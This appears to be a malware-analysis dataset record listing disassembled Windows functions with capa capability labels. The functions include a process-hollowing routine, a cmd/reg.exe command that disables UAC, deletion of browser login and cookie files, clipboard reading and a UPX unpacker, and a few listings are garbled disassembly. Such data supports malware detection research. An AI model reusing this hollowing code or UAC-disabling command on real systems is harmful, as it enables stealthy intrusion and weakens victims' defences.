joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40425f
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x39], bl
jne 0x4042a7
cmp byte [esi + 0x38], bl
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
jne 0x404297
call fcn.0040374a
cmp dword [esi], ebx
jne 0x40428b
push ebx
push ebx
push esi
push 0x40380c
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40383b
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40384a
push ebx
push ebx
call edi
mov dword [esi + 0x28], eax
pop edi
pop esi
pop ebx
ret

Function at 0x404336
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp byte [esi + 0x39], bl
je 0x404382
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push dword [esi + 0x28]
call edi
cmp eax, 1
jne 0x404382
push dword [esi + 0x30]
mov byte [esi + 0x39], bl
mov dword [esi + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esi + 0x38], bl
jne 0x40437e
mov eax, dword [esi]
cmp eax, ebx
je 0x40437e
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40380c
mov dword [esi], ebx
call edi
mov al, 1
jmp 0x404384
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x404388
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x38], bl
je 0x4043ba
cmp byte [esi + 0x39], bl
mov byte [esi + 0x38], bl
jne 0x4043b6
mov eax, dword [esi]
cmp eax, ebx
je 0x4043b6
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40380c
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi], ebx
mov al, 1
jmp 0x4043bc
xor al, al
pop esi
pop ebx
ret

Function at 0x4050fc
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x405128
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x405128
lea eax, [ebp - 1]
push eax
push esi
jmp 0x405131
lea eax, [ebp - 1]
push eax
push 0x410668
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop esi
leave
ret 4
Function at 0x40520c
Capabilities:
Delete directory
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 0x50]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne bl
add esi, 0x60
push 0x410668
push esi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x405249
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov al, bl
pop esi
pop ebx
ret

Function at 0x40524e
Capabilities:
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push 0x40382c
and byte [esi + 0x38], 0
call edi
mov eax, dword [esi]
test eax, eax
je 0x40527e
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [esi], 0
push 0
push 0x40380c
call edi
mov ecx, esi
call fcn.0040520c
pop edi
pop esi
ret
Function at 0x405622
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push eax
push str.UserProfile
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4056bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
je 0x4056b0
dec eax
je 0x405683
xor bl, bl
jmp 0x4056de
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4056e9
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x40568d
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x4056ec
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push eax
push str.UserProfile
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405786
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
je 0x40577a
dec eax
je 0x40574d
xor bl, bl
jmp 0x4057a8
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4057b3
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x405757
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x405d53
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
lea eax, [ebp - 1]
push ebx
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
lea eax, [ebp - 0x24]
push closesocket
push eax
xor bl, bl
call fcn.00408ef1
add esp, 0x10
lea ecx, [ebp - 0x14]
push eax
call dword [0x410264]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x14]
push 0x410668
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x405dc1
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_IE_cookies_not_found_
jmp 0x405e1a
lea eax, [ebp - 0x128]
push 0x104
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405df9
push eax
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
jmp 0x405db9
lea eax, [ebp - 0x128]
push eax
call fcn.0040f234
pop ecx
test eax, eax
push 0
je 0x405e2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push str._n_IE_cookies_cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
jmp 0x405e64
push 0x410cc4
mov ecx, 0x415968
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
test eax, eax
je 0x405e64
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov bl, 1
mov ecx, esp
push eax
push str._n_IE_cookies_cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x405f6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov al, byte [ebp + 8]
imul ecx, ecx, 0xea60
push ebx
push esi
test al, al
push edi
mov byte [0x415760], al
mov dword [0x415764], ecx
je 0x405fd9
and dword [ebp + 8], 0
mov ebx, 0x410d48
mov edi, 0x4157e8
push ebx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, closesocket
push eax
push esi
call fcn.00408e4e
add esp, 0xc
test al, al
je 0x405fd9
lea eax, [ebp + 8]
mov ecx, edi
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.00408e97
xor eax, eax
add esp, 0x10
cmp dword [ebp + 8], eax
je 0x405fdb
xor al, al
jmp 0x405fed
xor eax, eax
push eax
push eax
push eax
push 0x405e72
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4084b8
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
leave
ret
Function at 0x40d477
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
mov eax, 0x40ffc4
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x7c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x80], eax
cmp word [eax], 0x5a4d
jne 0x40d612
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0x14], esi
cmp dword [esi], 0x4550
jne 0x40d612
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x7c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d612
push edi
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x6c], ebx
mov dword [ebx], 0x10007
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40d612
push 0
push edi
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x18]
cmp eax, dword [esi + 0x34]
jne 0x40d55c
push eax
push dword [ebp - 0x7c]
call dword [ebp - 0x84]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x40d612
push 0
push dword [esi + 0x54]
push dword [ebp + 0xc]
push eax
push dword [ebp - 0x7c]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
xor eax, eax
mov dword [ebp - 0x60], eax
movzx ecx, word [esi + 6]
cmp eax, ecx
jge 0x40d5d3
lea eax, [eax + eax*4]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x3c]
lea eax, [edx + eax*8]
lea eax, [eax + ecx + 0xf8]
mov dword [ebp - 0x64], eax
push 0
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add edx, ecx
push edx
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x7c]
call edi
inc dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
jmp 0x40d596
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x7c]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x68]
mov dword [ebx + 0xb0], eax
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x40d612
mov al, 1
jmp 0x40d618
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ecdd
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x45ee70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x31000]
push edi
or ebp, 0xffffffff
jmp 0x45ee92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45ee99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45ee88
mov eax, 1
add ebx, ebx
jne 0x45eeab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45eea0
jne 0x45eebc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45eea0
xor ecx, ecx
sub eax, 3
jb 0x45eed0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45ef42
mov ebp, eax
add ebx, ebx
jne 0x45eedb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45eee8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45ef0c
inc ecx
add ebx, ebx
jne 0x45eef8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45eeed
jne 0x45ef09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45eeed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45ef2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45ef1d
jmp 0x45ee8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45ef2c
add edi, ecx
jmp 0x45ee8e
pop esi
lea edi, [esi + 0x5c000]
mov eax, dword [edi]
or eax, eax
je 0x45ef8b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5e22c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5e298]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45ef49
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5e2a0]
or eax, eax
je 0x45ef85
mov dword [ebx], eax
add ebx, 4
jmp 0x45ef66
call dword [esi + 0x5e29c]
mov ebp, dword [esi + 0x5e2a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45efbf
sub esp, 0xffffff80
jmp 0x401770
Function at 0x4083a7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
pushal
clc
cld
nop
nop
jae 0x406ea4
add byte [eax], al
sub eax, dword [eax]
adc dword [eax], eax
add byte [eax], al
mov esi, 0xb70f2100
jg 0x4083c6
Function at 0x40b15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x40b168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x40b14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x40b145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x40b145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret

Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [0x9d40c0c8]
push eax
add ecx, 0x40
push 0x40d274
aaa
call dword [0x9b40c180]
mov eax, dword [0x1cd3ac]
add esp, 0x76
test eax, eax
je 0x401787
dec esi
jmp 0x4017cf
push 1
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43b64c
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop ecx
dec eax
and ebx, ebx
add eax, ebx
call fcn.0043b673
add eax, eax
dec eax
and ebx, ebx
xor dword [edi], ecx
mov ebx, eax
inc edi
sub ebx, ebx
or eax, ebx
cmp edi, esi
jne fcn.0043b64c
sub eax, ebx
ret
Function at 0x402a28
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x423f50]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402abc
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402a79
cmp dword [ebp + 0x10], ebx
jne 0x402ab0
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a28
test eax, eax
jne 0x402a8b
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402a60
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405da3
cmp eax, ebx
je 0x402ac3
push ebx
push dword [0x423f50]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402abc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x423f50], ebx
jne 0x402ab9
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402ab9
jmp 0x402abc